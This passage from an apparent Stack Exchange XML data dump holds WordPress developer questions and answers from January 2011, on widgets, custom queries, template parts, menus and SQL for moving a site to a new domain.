ob_get_clean();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;use it like: &lt;code&gt;[youtube &quot;dm36W5NTPag&quot;]&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="1986" LastEditorUserId="1986" LastEditorDisplayName="" LastEditDate="2011-01-25T13:21:17.430" LastActivityDate="2011-01-25T13:21:17.430" CommentCount="3" />
  <row Id="7714" PostTypeId="2" ParentId="7645" CreationDate="2011-01-25T13:18:28.083" Score="0" ViewCount="" Body="&lt;p&gt;You have a lot of ways to get_attachments,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_get_attachment_url($post-&amp;gt;ID);  &#xA;&#xA;wp_get_attachment_link($id=0, $size='full', $permalink=false, $icon=false); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a complete list of &lt;code&gt;get_attachment&lt;/code&gt; possibilities,&lt;br&gt;&#xA;&lt;a href=&quot;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&quot; rel=&quot;nofollow&quot;&gt;http://digwp.com/2009/08/awesome-image-attachment-recipes-for-wordpress/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2048" LastEditorUserId="2048" LastEditorDisplayName="" LastEditDate="2011-01-26T16:28:18.547" LastActivityDate="2011-01-26T16:28:18.547" />
  <row Id="7715" PostTypeId="1" CreationDate="2011-01-25T13:28:23.103" Score="1" ViewCount="262" Body="&lt;p&gt;Looking for good tutorial on how to create a wordpress widget that has a submit form in the front end. The reason for this is I'm teaching myself plugin development and I'm struggling on how to display a form on the front end after adding the widget to the sidebar. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;my code thus far&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget ($args,$instance) {&#xA;    extract( $args );&#xA;&#xA;    /* Our variables from the widget settings. */&#xA;    $title = apply_filters('widget_title', $instance['title'] );&#xA;    $name = $instance['name'];&#xA;    $number = $instance['number'];&#xA;    $message = $instance['message'];&#xA;&#xA;    /* Before widget (defined by themes). */&#xA;    echo $before_widget;&#xA;&#xA;    /* Display the widget title if one was input (before and after defined by themes). */&#xA;    if ( $title )&#xA;            echo $before_title . $title . $after_title;&#xA;&#xA;&#xA;    ?&amp;gt;&#xA;    &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Title:', 'hybrid'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'title' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'title' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['title']; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'name' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Your Name:', 'name'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'name' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'name' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['name']; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;!-- Your Name: Text Input --&amp;gt;&#xA;        &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'number' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Your Cellphone Number:', 'number'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                &amp;lt;input id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'number' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'number' ); ?&amp;gt;&quot; value=&quot;&amp;lt;?php echo $instance['number']; ?&amp;gt;&quot;  /&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;&#xA;        &amp;lt;p&amp;gt;&#xA;                &amp;lt;label for=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'message' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php _e('Your Message:', 'message'); ?&amp;gt;&amp;lt;/label&amp;gt;&#xA;                &amp;lt;textarea id=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_id( 'message' ); ?&amp;gt;&quot; name=&quot;&amp;lt;?php echo $this-&amp;gt;get_field_name( 'message' ); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $instance['message']; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;    &amp;lt;?php&#xA;&#xA;    /* After widget (defined by themes). */&#xA;    echo $after_widget;&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2719" LastActivityDate="2011-08-28T07:35:59.883" Title="Looking for good tutorial on how to create a wordpress widget that has a submit form in the front end" Tags="&lt;widgets&gt;" AnswerCount="2" FavoriteCount="2" />
  <row Id="7716" PostTypeId="2" ParentId="7693" CreationDate="2011-01-25T14:02:41.413" Score="1" ViewCount="" Body="&lt;p&gt;Best to do options, posts, post content and post meta:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;UPDATE wp_options SET option_value = replace(option_value, 'http://olddomain.com', 'http://newdomain.com') WHERE option_name = 'home' OR option_name = 'siteurl';&#xA;&#xA;UPDATE wp_posts SET guid = replace(guid, 'http://olddomain.com','http://newdomain.com');&#xA;&#xA;UPDATE wp_posts SET post_content = replace(post_content, 'http://olddomain.com', 'http://newdomain.com');&#xA;&#xA;UPDATE wp_postmeta SET meta_value = replace(meta_value, 'http://olddomain.com', 'http://newdomain.com');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see &lt;a href=&quot;http://www.packtpub.com/article/searching-data-using-phpmyadmin-and-mysql&quot; rel=&quot;nofollow&quot;&gt;Searching Data using phpMyAdmin and MySQL | Packt Publishing.&lt;/a&gt; And &lt;a href=&quot;http://wordpress.org/extend/plugins/search-regex/&quot; rel=&quot;nofollow&quot;&gt;Search RegEx&lt;/a&gt; is a good WP plugin to be able to search and replace with Grep through all posts and pages.&lt;/p&gt;&#xA;" OwnerUserId="268" LastActivityDate="2011-01-25T14:02:41.413" />
  <row Id="7717" PostTypeId="1" AcceptedAnswerId="7718" CreationDate="2011-01-25T14:17:13.650" Score="1" ViewCount="444" Body="&lt;p&gt;I'm trying to list events (custom posttype 'kurs') by event date, which are stored as custom fields ('dato'). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My loop so far looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;  &#xA;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'kurs' ) ); ?&amp;gt;&#xA;&#xA;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;li&amp;gt;&amp;lt;?php the_title( '&amp;lt;a href=&quot;' . get_permalink() . '&quot; title=&quot;' . the_title_attribute( 'echo=0' ) . '&quot; rel=&quot;bookmark&quot;&amp;gt;', '&amp;lt;/a&amp;gt;' ); ?&amp;gt;&amp;lt;/li&amp;gt;&#xA;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I need is a list of post(event)-titles from today forward in the future...&lt;/p&gt;&#xA;" OwnerUserId="2721" LastActivityDate="2011-01-25T14:23:38.420" Title="sort events based on event date custom field" Tags="&lt;custom-post-types&gt;&lt;sort&gt;&lt;events&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="7718" PostTypeId="2" ParentId="7717" CreationDate="2011-01-25T14:23:38.420" Score="1" ViewCount="" Body="&lt;p&gt;You need to use the &lt;code&gt;meta_key&lt;/code&gt; to sort your events in your array. Like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $loop = new WP_Query( array( 'post_type' =&amp;gt; 'kurs', 'meta_key' =&amp;gt; 'dato', 'order_by' =&amp;gt; 'meta_value', 'order' =&amp;gt; 'ASC' ) ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1352" LastActivityDate="2011-01-25T14:23:38.420" CommentCount="5" />
  <row Id="7719" PostTypeId="2" ParentId="7634" CreationDate="2011-01-25T14:48:54.587" Score="0" ViewCount="" Body="&lt;p&gt;You can register multiple menus, and display one of them depending on the context.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;register_nav_menus( array(&#xA;    'primary' =&amp;gt; 'Regular',&#xA;    'blog' =&amp;gt; 'Blog',&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/G53HB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then in your theme, you select the menu you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_nav_menu( array(&#xA;    'theme_location' =&amp;gt; (is_page() ? 'primary' : 'blog'),&#xA;     'menu_id' =&amp;gt; 'nav'&#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-25T14:48:54.587" CommentCount="5" />
  <row Id="7720" PostTypeId="2" ParentId="7697" CreationDate="2011-01-25T14:50:16.803" Score="0" ViewCount="" Body="&lt;p&gt;I typically use this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$baseFileDir = WP_PLUGIN_URL.'/'.str_replace(basename( __FILE__),&quot;&quot;,plugin_basename(__FILE__));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then to reference a file inside a folder called &quot;resources&quot; in your main plugin directory, you'd do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo $baseFileDir . 'resources/file.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2418" LastActivityDate="2011-01-25T14:50:16.803" />
  <row Id="7721" PostTypeId="1" AcceptedAnswerId="7771" CreationDate="2011-01-25T15:03:19.013" Score="2" ViewCount="716" Body="&lt;p&gt;I would like to have some links which load the page content of the page they reference to inside a Fancybox popup(pages like &quot;shipping&quot; or &quot;returns&quot;, mainly text content).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would create the pages an then I will add the permalinks to these pages to other sections, like  footer or sidebar, and they will open in the popup window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have you come across anything like that? What would be the best way to implement it??&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestion will be greatly appreciated.&lt;/p&gt;&#xA;" OwnerUserId="2618" LastActivityDate="2011-01-25T22:19:46.957" Title="Best way to load page content in Fancybox popup?" Tags="&lt;query-posts&gt;" AnswerCount="2" />
  <row Id="7722" PostTypeId="1" AcceptedAnswerId="7727" CreationDate="2011-01-25T15:15:28.970" Score="0" ViewCount="123" Body="&lt;p&gt;Under &quot;Settings &gt; Permalinks&quot;, we can set up the default category base name to use for our category landing pages. For example, site.com/&lt;strong&gt;categories&lt;/strong&gt;/my-first-category/.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there &lt;strong&gt;a setting I can add to my functions.php&lt;/strong&gt; to allow the option to remove the category base and direct link to the category? For example, the above link becomes: site.com/my-first-category/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I realize that this opens up the possibility of having conflicting post names and category names (assuming I have a post slug that's the same as a category slug for example), but in this case, my post permalinks end in .html and my category permalinks will not, so there should never be a conflict (I expect).&lt;/p&gt;&#xA;" OwnerUserId="366" LastEditorUserId="366" LastEditorDisplayName="" LastEditDate="2011-01-25T16:46:20.507" LastActivityDate="2011-01-25T16:46:20.507" Title="What are the permalinks options for &quot;Category&quot; base and removing it?" Tags="&lt;theme-development&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" />
  <row Id="7723" PostTypeId="2" ParentId="7687" CreationDate="2011-01-25T15:23:27.210" Score="1" ViewCount="" Body="&lt;p&gt;WordPress does its own query on every page. You should modify that query instead of creating a new one. What happens now is that WordPress does a query with the standard posts per page of 10, but you don't do anything with these results and do your own query. This works... until WordPress goes beyond post #33, which is on page number 4.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;WordPress queries 1-10, your template queries 1-4&lt;/li&gt;&#xA;&lt;li&gt;WordPress queries 11-20, your template queries 5-8&lt;/li&gt;&#xA;&lt;li&gt;WordPress queries 21-30, your template queries 9-12&lt;/li&gt;&#xA;&lt;li&gt;WordPress queries 31-40, your template queries 13-16&lt;/li&gt;&#xA;&lt;li&gt;WordPress queries 41-50, but gets no results, so it gives 404. Your template doesn't load.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So instead you should modify the standard query that WordPress will execute, by placing this in your &lt;code&gt;functions.php&lt;/code&gt; or in a plugin:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse7687_pre_get_posts' );&#xA;function wpse7687_pre_get_posts( &amp;amp;$wp_query ) {&#xA;    if ( $wp_query-&amp;gt;is_category &amp;amp;&amp;amp; 'latest-news' == $wp_query-&amp;gt;get_queried_object()-&amp;gt;slug ) {&#xA;        $wp_query-&amp;gt;set( 'posts_per_page', 4 );&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-25T15:23:27.210" CommentCount="3" />
  <row Id="7724" PostTypeId="1" AcceptedAnswerId="7749" CreationDate="2011-01-25T15:31:08.007" Score="0" ViewCount="338" Body="&lt;p&gt;I have a setting in my theme that seeks to prevent the WP media manager upload utility from creating multiple copies of each image I upload. Apparently the latest versions of WP have changed the required settings to defeat this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the current settings I have in my theme's functions.php...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if(get_option('thumbnail_size_h')!==0){update_option('thumbnail_size_h', 0);}&#xA;if(get_option('thumbnail_size_w')!==0){update_option('thumbnail_size_w', 0);}&#xA;if(get_option('medium_size_h')!==0){update_option('medium_size_h', 0);}&#xA;if(get_option('medium_size_w')!==0){update_option('medium_size_w', 0);}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Even with these settings, I'm still getting a duplicate image every time I upload. For example, if my image filename is foo.jpg and it is 800x600 pixels, WP creates two images foo.jpg and foo-800x600.jpg&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I force WP to not create the duplicate?&lt;/p&gt;&#xA;" OwnerUserId="366" LastActivityDate="2011-04-26T09:41:06.230" Title="How can I stop WP media uploader from creating duplicates of my uploaded images?" Tags="&lt;theme-development&gt;&lt;uploads&gt;&lt;media-library&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="7725" PostTypeId="2" ParentId="7262" CreationDate="2011-01-25T15:33:17.463" Score="1" ViewCount="" Body="&lt;p&gt;You can check for the existence of a variable, so you don't overwrite it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse7262_pre_get_posts' );&#xA;function wpse7262_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( $wp_query-&amp;gt;is_category() ) {&#xA;        if ( ! array_key_exists( 'post_type', $wp_query-&amp;gt;query_vars ) ) {&#xA;            $wp_query-&amp;gt;set( 'post_type', 'game' );&#xA;        }&#xA;        if ( ! array_key_exists( 'posts_per_page', $wp_query-&amp;gt;query_vars ) ) {&#xA;            $wp_query-&amp;gt;set( 'posts_per_page', 9 );&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-01-25T15:33:17.463" CommentCount="1" />
  <row Id="7726" PostTypeId="2" ParentId="3331" CreationDate="2011-01-25T15:50:06.610" Score="0" ViewCount="" Body="&lt;p&gt;I would absolutely not use custom post types as suggested by other folks here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can and probably should be done completely outside of WordPress. Stats/sports/scores probably work fine in a relational database (tables/rows), so I can see the temptation, but I would just stick it into a new MySQL database and use plugin functionality to interface with WordPress. &lt;/p&gt;&#xA;" OwnerUserId="1860" LastActivityDate="2011-01-25T15:50:06.610" />
  <row Id="7727" PostTypeId="2" ParentId="7722" CreationDate="2011-01-25T16:26:59.867" Score="1" ViewCount="" Body="&lt;p&gt;there is an answer to on how to do that in the WordPress way &lt;a href=&quot;http://wordpress.stackexchange.com/questions/6104/best-and-cleanest-way-to-remove-category-from-category-permalinks&quot;&gt;here&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but a faster way is using the .htaccess file by adding this line &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;RewriteRule ^category/(.+)$ http://www.yourblog.com/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just make sure you change &lt;a href=&quot;http://www.yourblog.com/&quot; rel=&quot;nofollow&quot;&gt;http://www.yourblog.com/&lt;/a&gt; to what ever is needed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-25T16:26:59.867" CommentCount="4" />
  <row Id="7728" PostTypeId="1" CreationDate="2011-01-25T16:34:51.973" Score="0" ViewCount="633" Body="&lt;p&gt;I have a custom post type that is going to use a loop in a couple different places and I wanted to make maintaining those loops easier. I remembered that get_template_part() is available and figured this would be an optimal time to get used to it. However, what has me at a standstill is how to set up a file for the loops so that I can call the specific parts accurately. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google, thus far, has been not helpful in understanding how get_template_part() and twentyten's loop.php actually work and call the 3 parts. I have it duplicated, stripped down and ready for altering for my CPT version, but that is it thus far.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help?&lt;/p&gt;&#xA;" OwnerUserId="1006" LastActivityDate="2011-01-30T07:33:51.427" Title="Wordpress 3.0+ get_template_part and loop.php question" Tags="&lt;custom-post-types&gt;&lt;loop&gt;&lt;get-template-part&gt;" AnswerCount="2" />
  <row Id="7729" PostTypeId="2" ParentId="7715" CreationDate="2011-01-25T16:34:55.140" Score="0" ViewCount="" Body="&lt;p&gt;That should make it: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * @Package:        ___&#xA; * @Subpackage:     ___&#xA; * @Author:         ___&#xA; */&#xA;&#xA;class WidgetExample extends WP_Widget {&#xA;    function init() {&#xA;        parent::WP_Widget( false, $name = 'Our Test Widget' );&#xA;    }&#xA;&#xA;    function form( $instance ) {&#xA;        // outputs the options form on admin&#xA;    }&#xA;&#xA;    function update( $new_instance, $old_instance ) {&#xA;        // processes widget options to be saved&#xA;        return $new_instance;&#xA;    }&#xA;&#xA;    function widget( $args, $instance ) {&#xA;        // outputs the content of the widget&#xA;        // ADD YOUR FRONT-END FORM HERE&#xA;    }&#xA;}&#xA;register_widget( 'WidgetExample' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-01-27T18:48:41.740" LastActivityDate="2011-01-27T18:48:41.740" CommentCount="2" />
  <row Id="7730" PostTypeId="2" ParentId="3331" CreationDate="2011-01-25T16:39:49.067" Score="0" ViewCount="" Body="&lt;p&gt;If you're just looking for a way to show the current standings in the league or a list of teammates with info on them you might wanna have a look at &quot;WP Table Reloaded&quot;...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it's a good plugin for creating and showing tables. We use it on our baseball team's website www.poorpigs.de (German)...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you'd wanna have a look at that...&lt;/p&gt;&#xA;" OwnerUserId="2726" LastActivityDate="2011-01-25T16:39:49.067" />
  <row Id="7731" PostTypeId="2" ParentId="7689" CreationDate="2011-01-25T16:40:12.917" Score="1" ViewCount="" Body="&lt;p&gt;Easy with &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_tags&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_tags()&lt;/code&gt;&lt;/a&gt;. Basic idea would be something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$args = array(&#xA;        'orderby' =&amp;gt; 'count',&#xA;        'order' =&amp;gt; 'DESC',&#xA;        'number' =&amp;gt; 10,&#xA;        );&#xA;&#xA;$tags = get_tags( $args );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T16:40:12.917" CommentCount="1" />
  <row Id="7732" PostTypeId="2" ParentId="7702" CreationDate="2011-01-25T16:45:40.337" Score="1" ViewCount="" Body="&lt;p&gt;You can use &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_page&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_page()&lt;/code&gt;&lt;/a&gt; in &lt;a href=&quot;http://codex.wordpress.org/Pages#Page_Templates&quot; rel=&quot;nofollow&quot;&gt;template&lt;/a&gt; of your parent page and retrieve child page. Then access data form it and format/output it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T16:45:40.337" />
  <row Id="7733" PostTypeId="2" ParentId="7690" CreationDate="2011-01-25T16:51:29.380" Score="0" ViewCount="" Body="&lt;p&gt;Check the plugin settings, but likely it is theme that has call to plugin's function in template or adds it to hook.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look for &lt;code&gt;wp_pagenavi()&lt;/code&gt; call in template or &lt;code&gt;add_action&lt;/code&gt; with it in &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T16:51:29.380" />
  <row Id="7734" PostTypeId="2" ParentId="7728" CreationDate="2011-01-25T17:00:29.570" Score="1" ViewCount="" Body="&lt;p&gt;Codex has very decent explanation of &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_template_part&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_template_part()&lt;/code&gt;&lt;/a&gt; logic:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Assuming the theme folder is&#xA;  wp-content/themes, that the parent&#xA;  theme is twentyten, and the child&#xA;  theme is twentytenchild, then the&#xA;  following code --&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php get_template_part( 'loop', 'index' ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;will do a PHP require() for the named&#xA;  files in this order: &lt;/p&gt;&#xA;  &#xA;  &lt;ol&gt;&#xA;  &lt;li&gt;&lt;p&gt;wp-content/themes/twentytenchild/loop-index.php&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;wp-content/themes/twentytenchild/loop.php&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;wp-content/themes/twentyten/loop-index.php&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;wp-content/themes/twentyten/loop.php&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ol&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Basically you can have more generic templates and more specialized templates. Specialized template is looked up before generic. That is pretty much everything about it.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-25T17:00:29.570" CommentCount="1" />
  <row Id="7736" PostTypeId="1" AcceptedAnswerId="7743" CreationDate="2011-01-25T17:11:53.943" Score="1" ViewCount="132" Body="&lt;p&gt;I have a client who wants to use the trash feature, but keep items in there indefinitely (I have no idea why, but they insist on it).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From reading &lt;a href=&quot;http://codex.wordpress.org/Trash_status&quot; rel=&quot;nofollow&quot;&gt;this codex article on the trash status&lt;/a&gt;, I see that you can set the EMPTY_TRASH_DAYS constant to zero. But it says that this will disable Trash functionality altogether. I don't want to do this...I just want to disable the &lt;em&gt;auto-trash emptying&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any way to do this? Or am I stuck with just entering some huge number for the EMPTY_TRASH_DAYS value?&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2011-01-25T20:35:29.910" Title="Turn Off Automatic Trash Deletion?" Tags="&lt;wp-config&gt;&lt;status&gt;&lt;constants&gt;&lt;trash&gt;" AnswerCount="2" />
  <row Id="7737" PostTypeId="1" AcceptedAnswerId="7744" CreationDate="2011-01-25T17:18:51.387" Score="1" ViewCount="235" Body="&lt;p&gt;I would like to exclude categories from the loop using the &quot;name&quot; instead of the &quot;id&quot;, since the ID can change when using new databases. The name however will always be the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1462" LastActivityDate="2011-01-25T18:22:58.710" Title="category__not_in -- anyway to use category name instead of id?" Tags="&lt;loop&gt;" AnswerCount="2" />
  <row Id="7738" PostTypeId="1" CreationDate="2011-01-25T17:20:01.200" Score="6" ViewCount="95" Body="&lt;p&gt;I'm getting the occasional excessive resource limit error to due to loading so many posts at once. We had set the PHP limit to 128 but just loading the list of posts for a couple of the post types is taking up even more resources than that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the admin page with 25,000 posts, there are 217 queries and on another admin page with 15,000 posts there are 301 queries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to cache these or perhaps another solution to loading these pages without an issue?&lt;/p&gt;&#xA;" OwnerUserId="1697" LastActivityDate="2011-02-03T22:58:59.810" Title="How do I optimize a custom post type admin page with 25,000 posts?" Tags="&lt;admin&gt;&lt;mysql&gt;&lt;optimization&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="7739" PostTypeId="1" CreationDate="2011-01-25T17:31:44.600" Score="0" ViewCount="103" Body="&lt;p&gt;I made a page called &lt;strong&gt;blog.php&lt;/strong&gt; which will store my blog entries, all the other pages have a custom post type called &quot;&lt;strong&gt;Page Content&lt;/strong&gt;&quot; (for static content). I wanted to make a heading in this blog page which is retrieved from main loop of the current page (&lt;code&gt;the_content&lt;/code&gt;), and used a &lt;code&gt;get_posts&lt;/code&gt; to retrieve the blog entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried doing the opposite: using &lt;code&gt;get_posts&lt;/code&gt; to get &lt;code&gt;the_content&lt;/code&gt; of the current page but it retrieved &lt;code&gt;the_content&lt;/code&gt; of the blog entries. (and using the main loop to retrieve the posts).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will I have problems by using this method? Is there a better way to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The desired result:&#xA;&lt;img src=&quot;http://i.stack.imgur.com/Haj91.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;/**&#xA; * Template Name: Blog&#xA; * @package WordPress&#xA; * @subpackage Prominent&#xA; * @since Prominent 1.0&#xA; */&#xA;get_header(); ?&amp;gt;&#xA;&amp;lt;div class=&quot;shadow-top&quot;&amp;gt;&#xA; &amp;lt;!-- Shadow at the top of the slider --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;intro2&quot;&amp;gt;&#xA; &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;?php // Start the Main Loop&#xA;  if ( have_posts() ) : ?&amp;gt;&#xA;   &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt;&#xA;   &amp;lt;div class=&quot;content&quot;&amp;gt;&#xA;     &amp;lt;h2&amp;gt;&amp;lt;?php the_content(); ?&amp;gt;&amp;lt;/h2&amp;gt;&#xA;   &amp;lt;/div&amp;gt;&amp;lt;!-- .content --&amp;gt;&#xA;   &amp;lt;?php endwhile; ?&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!-- #slider-wrapper --&amp;gt;&#xA; &amp;lt;/div&amp;gt;&amp;lt;!-- .container --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&amp;lt;!-- #featured --&amp;gt;&#xA;&amp;lt;div class=&quot;shadow-bottom&quot;&amp;gt;&#xA; &amp;lt;!-- Shadow at the bottom of the slider --&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;div id=&quot;content&quot;&amp;gt;&#xA; &amp;lt;div class=&quot;container&quot;&amp;gt;&#xA;  &amp;lt;?php // Create custom loop&#xA;  $custom_posts = get_posts(); // Defaults args fetch posts starting with the most recent ?&amp;gt;&#xA;  &amp;lt;?php foreach( $custom_posts as $post ) : setup_postdata( $post 